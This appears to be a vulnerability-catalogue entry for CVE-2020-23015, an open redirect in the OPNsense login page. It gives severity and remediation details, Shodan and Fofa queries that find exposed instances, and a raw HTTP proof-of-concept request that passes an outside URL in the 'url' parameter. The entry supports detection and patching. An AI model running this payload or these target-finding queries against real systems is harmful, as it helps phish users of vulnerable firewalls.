| Title | OPNsense <=20.1.5 - Open Redirect |
|---|---|
| Author | 0x_Akoko |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to redirect users to malicious websites, leading to phishing attacks or the disclosure of sensitive information. |
| Remediation | Upgrade OPNsense to a version higher than 20.1.5 to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.07905 |
| CVE ID | CVE-2020-23015 |
| CWE ID | CWE-601 |
| Shodan Query | http.title:"opnsense" |
| Fofa Query | title="opnsense" |
| Tags | cve2020 cve redirect opnsense vuln |
OPNsense through 20.1.5 contains an open redirect vulnerability via the url redirect parameter in the login page, which is not filtered. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /?url=http://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-23015.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-23015.pcap
N/AN/A